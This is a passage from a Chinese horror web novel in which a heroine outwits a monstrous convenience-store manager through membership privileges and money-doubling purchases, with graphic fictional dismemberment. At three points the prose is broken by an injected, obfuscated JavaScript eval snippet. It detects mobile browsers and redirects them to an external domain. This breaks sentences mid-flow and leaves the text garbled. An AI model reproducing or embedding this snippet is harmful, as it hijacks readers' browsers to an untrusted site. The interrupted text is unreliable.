他太不自量力了，以大佬这个水平，哪用得着他提醒！ 厚厚的冥币被吞进收银机，收银机的显示屏亮起了灿金色。紧接着，一张黄金卡片从收音机里吐出，轻飘飘地落在晏无波身前。 神豪系统清脆的提示音出现。 【叮！限时狂欢任务：神豪初体验阶段二已完成。】 【双倍返还已开启，剩余：11时59分。】 左文宁被变故吓了一跳，但见晏无波眉头舒展，安然无恙接下了卡片，便知道这是件好事。 她松了口气，不停道谢：“谢谢！谢谢你！” 祁景也认真对晏无波道：“谢谢你救了我的老师，只要你有需要，我一定全力以赴！” 完成了任务，还拿到了会员卡，晏无波心情很好。她微笑着回二人：“不客气，你们继续数钱吧。” 不知是受实力、冥币、还是对方笑得太好看的蛊惑，祁景的心脏砰砰砰乱跳个不停。 他鼓起勇气，朝准备离开的晏无波说道：“姐姐，加个好友吧，以后有事可以叫我。” 晏无波一手推车，一手捏着黄金卡片看，头也不抬道：“不加，没什么用。” 四个字，将祁景刚刚萌发的少男心劈了个稀巴烂。 他捂着胸口，踉跄着退到零食区，整个人像丢了魂一样失去了颜色。 没、没、没什么用…… 不管是学习，还是下副本，他都是第一次听到这种评价。 数了几遍冥币，确实是513无误，左文宁将心放在了肚子里。 她转头看见祁景没出息的模样，决定不计较他试图在高考前夕早恋这码事。 20点30分，店内温度骤然下降，整间便利店变成了个巨大的冷库。 惨白的灯光猛烈闪烁，颜色几经变换，定格在昏暗的红。 店长巡查时间到。 15. 第 15 章 灯光明灭间，一个男性的塑料假人出现在店铺内。 他的头发没有纹理，大块大块的糊在头顶。连同嘴唇在内，浑身上下都是均匀的灰白色，唯有头发和眼珠是雾蒙蒙的黑。 令人牙酸的塑料关节摩擦声响起，店长被“微笑”抻薄的嘴唇缓缓张开，露出两排细密如针的金属牙齿。 他用电动复读玩具一样的声音说道：“谁在偷懒？” 诡异员工们微微抖着，脸上的微笑更加夸张。而人类员工则是不停回忆自己的员工守则，思考自己有没有纰漏。 店长的黑圆眼珠缓缓扫过店内，最终停留在熟食区。 被徐永斌一砖头敲碎脑袋的纪普，奄奄一息地躺在熟食摊前。 “未完成本职工作，竟然擅自昏迷，不敬业！” 店长的牙齿磨得咯吱作响，手臂脱离身体，飞甩到纪普头顶。 “啊！”左文宁惊呼一声，然后连忙捂住自己的嘴，惊恐地看着这一幕。 “今日谁负责生鲜？”店长转向生鲜区，那边只有砰砰作响的冰柜。 他遗憾地叹息一声，“看来……只能由我来处理了。” 另一只塑料假手飞出，掐住纪普的脖子。伴随着骨头绞碎的声音，人头如同瓶盖一样被轻而易举地拧下。 鲜血被淋在生鲜区的冰柜上，冰柜里砰砰作响的东西好似被满足了一样，由激烈的碰撞声变为满足的吞咽声。 如同杀鸡一样，纪普被砍头、放血、去发、剖膛，随着最后一个步骤的完成，生鲜区的挂钩上多了一排血肉。 店长像累了一样大喘一口气，“还是得招人，光靠我自己不行啊。” 广播阴森的背景音乐变得欢快，愉悦的播报声响彻便利店： 【本店临时调拨一具人体，欢迎广大顾客前来购买，先到先得，机不可失！】 【人头：10000冥币。人心：2000冥币。人肺：1000冥币……】 人体所有的部位都被明码标价，店门口重复的宣传海报渐渐褪色，换上了新款。上面印着纪普刚进入副本时的半身照、店长肢解尸体时的抓拍，以及售卖部位的特写和价目表。 新鲜的人肉在冰冷的环境中散发着阵阵热气，白雾蔓延飘散。明明隔得很远，却如实质一般捂住众人的口鼻，叫他们不敢呼吸。 左文宁双眼翻白，已然晕厥。祁景从身后托住她，掐着她的虎口让她赶紧醒来。领了清洁工身份的徐永斌胃里翻江倒海，壮着胆子上前擦拭店长处理“生鲜”时溅射在地上的血迹。 他想呕，又不敢呕，抿着嘴巴蹲在地上卖力擦拭。 店长的视线转移到往生鲜区走的水脚印，又落在像是什么都不知道的徐永斌身上。 金属牙齿发出轻轻的摩擦声，微笑的弧度更大了，笑容满含戏谑和恶意。 左文宁悠悠转醒，想到刚才的场景，她摸着喉咙边哭边呕。 店长听到声音，往她那边看了一眼，恶狠狠道：“好好工作，少收一块钱，你来抵债！” 又收获了几枚惊惧眼神，假人微微抬起下巴，对此很满意。 一群待宰杀的“生鲜”，就该拥有这样的眼神！ 店长继续扫视便利店，强大的压迫感令在场所有员工窒息。 正当他以为这次巡查就此结束，却瞥见门口站着的一个女人。 她像是察觉到了他的视线，抬头看了一眼，继续低头。 别说恐惧害怕之类的负面情绪，她像是看到了路边的一棵草，完全没有情绪，根本没把他放在眼里。 店长眼眶里的黑色眼珠剧烈地颤动起来。 他讨厌这个眼神！ 然而，他把目光落到女人手里的金色卡片时，胸中的愤懑如被戳破的气球一样破散，浑身散发出的压迫感戛然而止。 黄金会员？ 单月消费达到一万冥币才能拿到的黄金会员？！ 不是假的吧…… 店长下意识的拒绝承认，但紧接着又把自己否决，真和假他还是能分辨得清的。 那偷的？ 不，卡片材质特殊，会随着持有人的等级而变换颜色。如果被其他人持有，只会变成一张普通灰卡。 那就只能是……真的！ 一经确认，假人的头不受控制地飞了出去，接着是笨重的躯干、飞奔的腿。几个零件各跑各的，急切而殷勤地往门口钻。 店长的心如水淹火燎般难受。 区区一个人类，怎么会这么有钱！ 但心里不管如何蔑视，店长的规则逼他不得不对会员谄媚。 “尊敬的顾客！”腿还没组装上，店长的腰先倒斜下去，像是在深深鞠躬。 “您的光临是小店至高无上的荣幸！请问有什么可以为您效劳的？” 卑微的话打破被血腥塑造的恐怖氛围，让这间被红光笼罩的便利店像个滑稽舞台。 店长就是舞台上的小丑。 众人目不转睛的看着一人一诡，想不明白这种场面是怎么出现的。 师生二人的脸上是如出一辙的错愕，徐永斌和邱志宽更是像被雷劈了一样，脸色焦黑。他俩分不清该害怕店长，还是该害怕晏无波。 邱志宽率先回神，当即决定一会儿去给晏无波下跪。 库房的女人能被他磨得原谅他，这小丫头看着也不像进过社会，也一定可以！ 潘越龄摩挲着佛珠，眼中惊疑不定。 什么情况？顾客的地位比店长还高吗？ 她是怎么做到的！ 店长心里暗骂不已：他这种高贵的诡，怎么能为低贱的人类服务！ 他故意将肢解完人体、没擦干净的血手递到晏无波眼前，想让她回忆起刚才他制造的恐怖。 “顾客，您需要生鲜吗？” 店长恶劣地等待人类的尖叫。 等了一秒、两秒、三秒…… 晏无波终于抬头了，很是不耐地说道：“你先把灯光改回白色。” 红光底下看金色背景的白字，看得她眼睛都要瞎了。 店长的塑料脸更僵硬了，“什么？” 晏无波瞄到了他的双手，又说道：“改完灯光把手洗干净，去给我拿总价100冥币的商品来。” 她毫不客气地使唤店长，像是在吩咐自家佣人。 至于被血手吓到？不可能的。她又没违规，店长除了给她看看手，还能怎么样。 店长灰白的皮肤变得更白了，牙齿磨得吱呀作响。 这女人明明有实力消费一万冥币的东西，偏偏要他去拿100冥币的商品，这是在羞辱他吗？还要改他专属出场灯光！ 而晏无波继续不客气地说道：“难听，别磨。” 金属牙齿摩擦声一停，店长从嗓子眼里挤出一句话：“是，我尊贵的客人！” 晏无波倚在购物车上看店长忙来忙去，脑子里过了遍会员相关信息。 微笑连锁的会员等级按消费金额分为6档，分别是黑铁、青铜、白银、黄金、铂金、黑钻。 单月消费1万达到黄金，消费10万达到铂金。要想达到黑钻，光单月消费不够，必须当月、且单次消费达到100万。 黄金会员可以随便进入超市、触摸商品，比她等级低的顾客不得主动攻击她，但她可以主动攻击比她会员等级低的顾客。 最重要的是，她拥有一次“黄金会员定制服务”机会。 这服务不是指让店长给她拿商品这种小事，而是抢购、配送、指定进货商品等等。 店长不一会儿就拿着两瓶“尸水可乐”回来了。 晏无波让他把东西放到另外的空购物车里，递给他一百冥币：“结账。” 店长气了又气，但又不能不替她结，攥着一百冥币去找左文宁。 左文宁大气都不敢喘，飞快地弄好了。 神豪系统实时播报： 【成功消费100冥币！现返还200冥币至背包，请查收！】 晏无波开着面板，又朝店长说道：“再去拿200冥币的商品。” 店长又去货架。 接下来，晏无波就像在做小学乘法题一样，把说出口的冥币金额翻倍。 “400。” “800。” “1600。” “3200。” “6400。” 新的购物车渐渐被填满，直至再也装不下。 店长的表情，从最初的屈辱，变为困惑，最后兴奋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她轻叹了口气，再次指使店长：“收银台前那只诡要的东西，我全要了。” 店长没有瞳孔的眼睛盯着晏无波，语气恭敬，但不难听出他的轻视：“尊贵的顾客，请恕我无法做到。我为您的服务内容，不包含抢夺其他顾客选购的商品。” 能抢他也不抢，一次性拿5万多冥币出来，这又是个“贵客”。 晏无波也猜到他不愿意，下一句跟上：“我使用黄金会员定制服务。” 店长噎住：这么珍贵的服务现在就用了？ 但顾客的要求已经说出来了，他无法拒绝！ “这位顾客，不好意思。”店长走到半头诡异购物车前，“我们的黄金会员使用了定制服务，要您让出这具人体，请您配合，谢谢！” 说完，店长也不管半头同不同意，强行把人头和购物车抢过来。 【成功消费50264冥币！现返还100528冥币至背包，请查收！】 再消费一次，阶段三就能完成。 晏无波关掉神豪系统的面板，算上最开始在便利店消费的1万，她今日在便利店总消费111364。 半头诡异反应慢半拍，等晏无波买完了才反应过来。只剩半边的脸缓缓表现出怒容，抬手冲晏无波这个罪魁祸首扔了一摊绿色的粘稠块状物。 可他的动作实在是慢，还不等东西脱手，他剩下的半头就被店长拧了下来。 不能让普通顾客攻击高等会员——这是店长需要遵守的规则。 零食区的祁景默默放下了手。 这个副本，他真是毫无用武之地…… 诡异不同于人类，简单的物理伤害很难让它们消亡。 半头诡被拧下头也还“嗬嗬”叫着。 店长一手拎着头，一手拽着他的身体，朝超市外面走，“贵客稍等，我把他扔出去。” “站住。”晏无波叫住店长。 她指着装着人肉的购物车，“不该是这样处理吗？生鲜区，也该进些诡异肉吧。” 店长微笑的嘴微不可察的沉了沉。 当着诡异的面，要上架诡异肉，这不是小打小闹的挑衅了。 贫弱无力的人类，竟然也想杀诡？ 店长的眼眶泛上红色，“客人，我提醒一下，您的定制服务已经用完了。” 视线碰撞，双方都能感受到彼此的恶意。 “黄金的用完了。” 白金色的卡片在脸颊边晃了晃，晏无波嘴角微微勾起：“铂金的，还在。” 16. 第 16 章 金属牙齿紧紧摩擦，店长的塑料腮帮子快被他自己咬碎了。 他怎么就忘了算这个人类一共花了多少钱…… 流淌着淡淡辉光的白金卡在店长眼中像一只巴掌，一下一下地朝他脸上抽，抽得他颜面尽失。 诡异没有种族认同感，宰杀同类的事情再常见不过。可他们自己互杀，和人类指挥他杀，是两回事。 店长心里门清，面前这女人不止对半头诡有杀心，对他也有不切实际的杀心。 屈辱！ 极大的屈辱！ ……他还不能不听！ 店长的塑料手指狠狠掐进半头诡的脑壳中，恨得要死：都怪这个没用的东西！穷诡没事逛什么便利店，害他丢脸！ “遵、命！” 店长呲着尖牙，微笑得极为难看，泛红的塑料眼眶像是要滴下血泪。 他拽着还在挣扎的半头诡，转身走向生鲜区的操作台。 诡异可不像人类那样容易处理，他需要借助器具。 晏无波收起会员卡，起身跟在店长身后，也往生鲜区走。 路过一名诡异员工，她随口吩咐：“去给我拿十万冥币的商品，零头别差太多。” 听到她还要买，店长猛地转头。 他真想把屈辱抛在脑后，点头哈腰地继续为人类服务。 可晏无波不给他这个机会，催促道：“看我做什么，我脸上有钱？” 店长的塑料脖子“嘎嘣”一下转回去，力度大到脖子崩出裂纹。 半边诡的身体和头都能动，所以进入生鲜区的第一件事，就是把这两个部件绑在银色操作台上。 因为怪半头诡害自己丢面子，也有一点吓唬人的意思，店长处理得更加细致，从剥皮开始。 晏无波仗着自己是会员，走到操作台旁边观摩。她目不转睛地看着店长的操作，仔细观察诡异的身体构成。 连拧头都没用，那怎么样才能让半头诡彻底消亡？ 店长在半头诡的胸口划了一道小口，把手从小口伸进去，一点点地分离皮肉。 和人类不同，半头诡的皮下没有红色血肉，而是他之前朝晏无波丢的绿色块状物一样黏糊东西。 店长见吓不到晏无波，磨牙磨得火星子直蹦，加快了处理速度。 “慢点。”晏无波皱眉，不满道：“手这么快我都没看清，你仔细点弄。” 撕皮的声音一下下撞击着其他人的耳膜，不像正常人类能说出口的话语让其他人噤若寒蝉。 祁景扶着腿软到站不起来的左文宁，喉结上下滚动。 她好厉害…… 其他人进副本九死一生，只求活着通关，而这个姐姐已经把副本“玩”出另一种花样了。 她多少级了？ 祁景望向晏无波的眼里满是痴迷和崇拜，还有一丝自卑。 差距太大了，他和她好像不在一个层面上。 另一边，邱志宽脸色煞白，身上的衣服汗湿一大片。 他找了个空档，拉住在门口擦半头诡血迹的徐永斌，焦急道：“你擦完就过来帮我补货，然后咱俩一起去给那女的磕一个！” 徐永斌被处理诡异身体的怪异声响激得汗毛直竖，一定要去找晏无波，手中的抹布被惊落在地。 “有病吧你？她那样……上她跟前干什么！” “求饶啊！你忘了咱俩怎么说她的？”邱志宽补充道；“选工作的时候你还想把生鲜处理给她来着，都忘了？” 徐永斌的脸上露出一丝不自在，“那倒没忘……” 剥完皮后便是切肉，绿色粘稠的块状物被店长捧在手上，一点点挖进透明玻璃瓶里。 咕叽咕叽的粘稠音听得邱志宽心慌不已，感觉像是在抠自己脑浆。 他使劲拍了下徐永碧的胳膊，“没忘你扭捏什么，命重要还是面子重要？” 徐永斌脸上的汗也不少，汗液滴进他眼里，辣得他不住地眯眼。 他扯着袖口搓了把脸，像是在狡辩，又像是真的这么想的一样，认真说道：“肯定是命重要！但是宽子，你想过没有？” “想什么？” “像那种级别的人，可能都没把咱俩这种小虾米放进眼里。就咱俩不疼不痒那两句话，她说不定早不记得了。你看她现在，有一点找咱俩毛病的样子吗？等你补完货再去磕头，这不提醒她找咱俩算账吗？” 邱志宽往生鲜区眺望，那个奇怪的女人在全神贯注看店长肢解诡异，似乎真的没把他们当回事。 但他还是觉得不能抱侥幸心理，该去道歉还是得去。 徐永斌见没说动他，脸拉得老长，挥着抹布赶人：“行了，别耽误我擦地，你可赶紧补货去吧。” 站在门口迎宾的潘越龄将对话听得清清楚楚。 他瞄了眼自己的天赋面板，嘲笑似的嗤了一声。 那女的根本没忘。 只是对她而言，这两个人的命远不及她现在做的事重要。 现在这两个人不去讨饶……不，孽障一生，讨不讨饶都没用。 就算她不杀，他也要为自己出口恶气。 潘越龄憋屈得很，拨弄佛珠的动作都没了韵律。 从面相上看，那女人不似大奸大恶之徒，甚至像有功德在身。 但偏偏她的杀意来得急……且重！ 他想削弱女人的杀意，给自己的天赋“业报”加两份功德。却弄巧成拙，反倒填了两份“孽障”。 佛珠噼里啪啦地乱响，潘越龄心乱如麻。 怎么办才好？他真不想和那女人作对！ 半头诡的身体部位十分简陋，一层皮裹着绿色黏液，再无别的东西。可即便他的身体被掏空，头也还在挣扎，只是挣扎的力度小了许多。 晏无波拿起一瓶绿色黏液端详，以她的眼力，看不出瓶黏液有什么特殊的。 一张皮裹着黏液，就能当只诡？ 【叮……哕……！】 金元宝跳出通知，但是共享晏无波视觉的它，有点受不了肢解诡异的场面。 不害怕，纯恶心。 【新技能生成好了，你自己去技能栏看……呕……我就不解释了。】 晏无波象征性地安慰了几句，让它受不了就先把视觉模块关了。 但金元宝是个犟种，一边哕一边还想看。 目前为止，晏无波获得的天赋、道具、技能，都不具有攻击力，所以她还挺想要个攻击技能的……不对，运气不好的人，应该反过来想。 面板打开，刚看了个名字，晏无波就死心了。 【藏啥呢？让我康康（Lv1）：定位半径10米内任意目标已拥有的、最受重视的“存在”。（消耗冥币发动，所消耗的冥币与被定位“存在”的市价相等。）】 不带括号里的字，晏无波还能高兴些。 店长清理干净台面，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407696|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捆好了的头放在面前，举着一把锈迹斑斑的刀用力刮剜缺了半边脑子的缺口。 和身体的不同，这颗半头极其坚硬，店长费了半天劲，也只在上面留下几道划痕。 晏无波把新技能定位在店长身上。 【需消耗320万冥币，是否定位？】 钱不够。 但数额如此巨大，对店长最重要的存在，大概就是这间便利店了吧。 她又把技能定位在半头诡身上。 【需消耗200冥币，是否定位？】 晏无波立刻同意。 下一刻，她的视野里出现了一个雷达，界面里的金色光点代表她，红色光点代表被定位的存在。 朝雷达指示的方向看，红色光点所在位置，挂着半头诡被剥下来的皮。 店长忙得热火朝天，要不是晏无波盯着，他都想上嘴咬，看看到底是头硬还是牙硬。 晏无波摘掉半头诡的皮，问店长：“这皮我买了，多少钱？” “……200！”店长不情不愿的报价。 晏无波随便指了个诡异员工替她跑腿付钱，然后将那张不起眼的皮铺在操作台上。 在店长狐疑不解地注视下，她拿起操作台的闲置菜刀剁下。 “呃——啊！！！呃——啊！！！”半头诡发出杀猪一样凄厉惨叫，被捆住的头似要挣脱束缚一样弹跳着。 刀刃与操作台有节奏的碰撞，半头诡的惨叫一声高过一声。 诡异临死前爆发的痛苦与怨毒，让头顶的灯光疯狂闪烁。 似是感觉到和半头诡一样的痛苦，货架瑟瑟发抖，将肚子里的商品吐了一地。 诡异员工嘴角挂得老高，眼角却不住得流泪。 这叫声让店长都站立不住，手里生锈的刀“咣当”一声掉在地上，黑色的眼珠不可置信地看着那张几乎被剁成肉末的皮。 她怎么知道皮是要害的？！ 晏无波对惨叫充耳不闻，手上动作依旧。 很快，被店长完美剥下的皮，被她剁成了细细的“臊子”。 又是一刀落下，半头诡的哀嚎戛然而止。 方才怎么劈都不坏的半头，风干了一样皱皱巴巴地躺在操作台上。 晏无波扔下刀，甩了甩手上被溅到的肉末，随意问道：“死了？” 店长像真正的假人一样站在操作台前，半晌才回道：“我最尊敬的客人，对于诡异而言，没有死亡，只有消亡。这只诡已经消亡了。” 晏无波不在意这种细节，正为找到新技能的使用方式而开心。 她笑了几声，才对店长说道：“把这些东西装起来，包括这堆肉末。” 店长看向晏无波的眼神已经没有了轻视、屈辱和愤恨，而是转为深深的忌惮……还有他自己也不愿意承认的恐惧。 开店至今，他从没遇见过这样的人类！ 生鲜区的摊子前有一摊水渍，晏无波为了避开它脚步顿了顿。 忽然，她想起一件事：林薇吃人诡涨属性点，宿管也喜欢吃人诡。 那要是吃纯粹的诡异，会发生什么？ 晏无波猛地转身，吓店长一跳。 店长抿唇，不再将尖牙露出来，闷声问道：“您还有什么吩咐？” “不算吩咐，送你点礼物。”晏无波指了指操作台上的肉末，皮是她买下来的，可以自由处置。 “你，吃一口我看看。” 17. 第 17 章 晏无波临时起意，店长吃不吃都无所谓，以后也有机会知道。所以她的语气极其随意，像问对方吃不吃饭一样。 店长浑身的关节嘎嘣作响，人形已然维持不住，零散地悬浮着飘在空中。 与人类不同，诡异身上或多或少背着“规则”。除非力量差距过大，能将对方的“规则”镇压，否则吞噬后只会让自身混乱。 像她这么有钱的人类，怎么会不清楚？分明是欺诡太甚！ 店长光滑的身体寸寸龟裂，眼白变得血红。 他掰下微笑的嘴，将它倒过来贴在脸上，森然道：“客人，如果不是亲眼所见，我真不敢相信，行事如大诡一样的您，竟然是人。” 晏无波眉头微蹙，“你骂人真脏。” 唇部弧度的倒置让店长的脸从微笑变成了悲伤，连带着说话都变得阴阳怪气：“怎么会，从我的角度，可是在夸您。” 金元宝十分赞同店长的话，在晏无波脑海里嘎嘎乐。 它一扫之前的萎靡，精气十足道：“快付款，付款后限时狂欢任务就完成了！店长不对劲，这里的东西也不怎么样，还是快些出去吧。” 诡异员工蹑手蹑脚地找晏无波要钱。 【成功消费100032冥币！现返还200064冥币至背包，请查收！】 【限时狂欢任务：神豪初体验阶段三已完成。】 【1000诡气已发放至背包，强力技能生成中，请耐心等待。】 店长不知什么时候飞到便利店中央上方，零散破碎的身体黏着在天花板上，与天花板融为一体。 以他为中心，天花板的材质褪掉了原本的模样，渐渐变成塑料。 天花板、墙壁、地面，都褪去了原本的质感，转变为光滑反光的塑料，只剩商品和收银机没有变化。 店长如玩具一样失真的声音从四面八方传来：“为庆祝贵客到来，本店长临时决定更新升级店铺服务。请各员工打起精神，爱岗敬业。” 生鲜区前的水渍波荡，海鲜腐坏的腥臭味四散开来。 水脚印啪嗒啪嗒冲向收银区，祁景反应最快，立刻朝水脚印的方向伸手。 他手上的戒指发出白光，“定！” 此时水脚印已经有一半跨出了收银区划好的黄线，只差一点就能突破左文宁的负责区。 左文宁后背的冷汗瞬间浸透了衣衫，规则要求她必须在客人逃单前提醒结账……她差一点就违规了！ 众人被这变故惊得浑身发麻，连忙检查自己的工作有没有疏漏。 但店长不给他们补救的机会，一个接一个地点名。 “郭明，遗失仓库商品一件。” “邱志宽，货架商品包装损坏。” “徐永斌，遗漏多处水渍。” “祁景，遇到客人不主动推销。” 祁景提出抗议，“我的规则只限定了推销人数，并未规定遇见顾客必须推销吧？” “呵呵呵……店铺服务升级，你工作内容也要相应升级。”店长的脸嵌在天花板，金属牙齿参差在外。“不认真看守则，该罚！” 一颗尖细的牙齿从上方喷射而出，瞬间洞穿祁景肩膀。 祁景闷哼一声，咬牙翻看自己的工牌。 晏无波也意识到了什么，快步走到海报前查看。 海报上的彩色字体没有变化，但白字后边新加了模糊的黑红色文字，与会员特权相关的消息也被抹除。 【非本店员工注意：】 【1、没钱别进。（有钱勿出。）】 【2、请勿触摸价值高于自身携带冥币的商品。（视之即触。）】 【3、顾客间禁止斗殴。（非致死行为不属于斗殴。）】 【4、不得无故损坏店内财产。（店长认证，即为财产。）】 【5、禁止偷窃、逃单、退单等行为。（每五分钟需结账一次，否则视为逃单。）】 【（涂抹）】 【本店解释权归店长所有（▊▊▊▊▊▊）。】 【最终解释权归微笑便利连锁总部所有。】 “哇~这什么黑店！”神豪系统算是开眼了，它就没见过这么不要脸的便利店。“有钱勿出，那你怎么办？要待到双倍时间过去吗？” “我想想。”晏无波尚无头绪，只觉得墙上的规则不对劲。 第一条规则，若真掏空钱包，算不算违反了“没钱别进”这一条？ 第四条规则，什么叫“店长认证”，顾客也能被“认证”吗？ 解释权…… 晏无波拿出铂金会员卡翻看，这张从收银机里吐出来的卡，背面的文字没有任何变化。 店长的尖牙频射，祁景因为质疑、忽略客户被洞穿两次，郭明和邱志宽各一次。而忽略了多处水渍的徐永斌则被洞穿了5次。 受伤最重的徐永斌瘫坐在地，双膝血肉模糊。 店长的惩罚还没结束，“还剩一处水渍没有惩罚……” 尖牙弹射，直冲无法行动的徐永斌胸口。 眼见避无可避，徐永斌脱口而出：“潘越龄！” B级天赋“甩锅”，能将2秒内到来的伤害分摊50%给他人。 尖牙本该洞穿徐永斌的胸膛，但却只没了半根便收回去了。 潘越龄还在为自己躲过一劫而庆幸，没成想听到自己的名字。 随即，一个血洞出现在他胸口，剧烈的疼痛使他踉跄了一步。 “狗养的玩意儿！”潘越龄破口大骂，用词极脏，先前悲天悯人的佛家弟子氛围尽失。 徐永斌有他的道理：“活该！就你没事，你一定早就知道，故意不提醒我们！” 被戳穿的潘越龄恼羞成怒，将手里的佛珠用力掷向徐永斌。 佛珠像套索一样套上徐永斌的脖子，徐永斌没来得及叫喊，就被猛烈收紧的佛珠绞得面色发紫。 邱志宽拿出手电筒对向潘越龄，色厉内荏道：“你这是做什么，不怕违反规则吗？” “说你们蠢，还真是蠢得要死！”潘越龄拿出治疗道具抹在胸口，“员工规则已经变了，我不弄死他，就不算违规！” 徐永斌的手指将脖子抠得血肉模糊，接着，他两眼一翻，窒息晕厥。 然而佛珠仍不停歇，徐永斌被它挤得眼珠外凸，看着甚是渗人。 “嘎嘣”一声闷响，徐永斌的头软软地垂在肩膀上。 他还在喘气，但谁都知道，活死人可比死人难做！ “哼！”徐永斌的闷气出了。他收回佛珠，对着邱志宽装模作样念阿弥陀佛。 看着半死不活的“好友”，邱志宽遍体生寒，再也不敢对潘越龄说一个字。 便利店门口的浓雾渐渐散开，现实世界的场景隔在玻璃门后，像是告诉众人：推开门就能离开这里。 晏无波将会员卡收进包裹，看了门口一眼。 店长适时开口，声音前所未有地恭敬：“尊贵的顾客，您是要离开了吗？欢迎您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416500|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次再来。” “呵。”晏无波无语至极。 那只臭烘烘的透明诡异结完账都没出门，而是重新走回店内，她看起来比他蠢吗？ 随手掏了件商品重置结账时间，晏无波一边推着购物车扫货，一边开启VIP美瞳扫视全场。 不提有矛盾的第一条规则，现在对她最有威胁的是同为顾客的透明诡。 对方品质为D-，查看面板需要1万冥币。 金元宝提醒道：“诡异和人类、道具不一样，能力受场地和规则的影响很大。鉴定后大概率看不到具体数值，要想清楚，可能血亏哦。” “知道了。” 晏无波神色凝重，头铁地赌了一把。 不过等她看清了对方的信息后，脸上的凝重变成讶异。 【物品名称：水宝宝】 【品质：D-】 【效果：干燥时为蓝色干硬状态，无法移动。海水泡发后变为透明，可听从简单的指令，无攻击力，极易磨损。】 它不是常规意义上的顾客，是接到指令而短暂成为顾客的道具。 如此一来，3、4条规则便有了解释。 它在店内造成的种种干扰，都是听从店长的指令，所以它是店长认证的“财产”。 水宝宝无攻击力，所以它“攻击”了晏无波，也不算斗殴。但要是晏无波对它有所动作，即便不“致死”，也会产生磨损，让她违反规则4。 晏无波继续将目光对准天花板，又是十万冥币砸下去。 【姓名：王德】 【身份：微笑便利幸福小区分店店长】 【品质：D+】 【生命：90%】 【混乱：8%】 【状态：主场优势/失职（1级）】 如金元宝所说，诡异具体数值无法探测。 但是……失职？ 是说他的某项行为，违背了总部给他规定的店长职责？ 臭味萦绕鼻尖，水宝宝停在晏无波身边。 冰凉滑腻的触感一圈又一圈绕着她的脖颈，若非晏无波知道它没有攻击力，早就拍开了。 水宝宝一直徘徊在晏无波身边，扫货跟着、结账也跟着，把她身上的卫衣一点点浸透。与此同时，一个矮小的模糊身形随着水分的流失渐渐浮现。 晏无波机械地重复着扫货、结账的流程，一个多小时后，冥币余额渐渐堆到80多万。 而这时，她发现了店长的真正的用意：他既要榨干她的钱，更要阻止她成为黑钻会员。 单次消费一百万才能成为黑钻会员，而超市里的东西大多价格低廉，五分钟的结账时间远远不够。 货架渐空，仓库的郭明对邱志宽摇头，“不是我不帮你，是仓库真的没货了！” 邱志宽脸色煞白，仓库都没东西了，他的货架要怎么补？！ “哎呀，仓库没货了。”店长在天花板上喋喋不休，“本店这个月营业额一定是第一名。” 晏无波站在空货架前，抬头对天花板说道：“你这个店长……当得真不称职，没货店长不应该想办法补货吗？” 海报上写着“包您满意”，但她现在真的很不满意。 仿佛在应和她的话，塑料断裂的“噼啪噼啪”声响不断出现。以店长为中心，自天花板至地面，数道蛛网般的黑色裂纹不断蔓延。 一块塑料碎渣从上方掉落，在地上弹跳了几下，最终停在了晏无波的脚尖前。 18. 第 18 章 规则反噬程度越深，店长承受的痛苦就越大。 他一声不吭，装作无事发生，但状态面板远比他诚实。 【姓名：王德】 【生命：80%】 【状态：主场优势/失职（2级）】 在现实世界开店，最终目的是实现盈利。为了盈利，需要店长维持店铺正常运转、调度管理员工、提高顾客满意度等等。 倒推一下，诡异世界的店长，尤其是连锁品牌分店店长，也逃不开这些。 任何影响营业额的行为，都是店长的“失职”。 “怎么不说话？”晏无波敲了敲空荡荡的货架，“就这样空着，让我这个会员有钱没地方花吗？” 店长暗自庆幸，同一条“失职”行为在短时间内只会触发一次判定。否则他还没耗光这个女人的钱包，自己就要先被她活活耗死！ 他从牙缝里挤出扭曲的电子音：：“顾客您放心，本店货源充足，绝对让您满载而归！” 话虽如此，店长也不知道晏无波的钱包到底有多厚。要是他把邻近分店的库存全搬过来还不能满足，那可就麻烦了…… 晏无波见店长不扣血，又换了个方向挑刺。她站在诡异员工负责的品类前，继续道：“你们店的服务态度也不好，我在货架前选货，你连句介绍词都不说，这让我怎么知道哪件更适合我？” 天花板上的裂缝陡然加深，这一次的反噬让店长压抑不住，发出一连串电流不稳的杂音。 【生命：70%】 地板化作起伏的波浪，将那名诡异员工推向生鲜区。 被痛意激怒的店长凶性大发，意有所指道：“既然贵客不满，那就让我们的员工以死谢罪！接下来我会撤下所有诡异员工，让您的同类为您服务，希望您能满意！” 再想挑他的刺，就做好死一个同类的准备！ “这不对吧？”晏无波指出他的漏洞，“我不满你的服务态度，跟你的员工没关系。” 店长冷笑，“不无辜，谁叫他负责那里呢？” 诡异员工哀嚎着被地板推进生鲜区，绞肉机轰鸣，吐出一堆青青白白的肉末。 被拧断脖子的徐永斌幽幽转醒，一个劲儿唤着邱志宽：“我有伤药，你快帮我涂上！” 邱志宽神色不明地蹲在徐永斌身前，将手放在“治疗绷带”上，幽幽道：“啊，原来是在你手里啊……当时你不是说，这道具被别人抢了吗？” 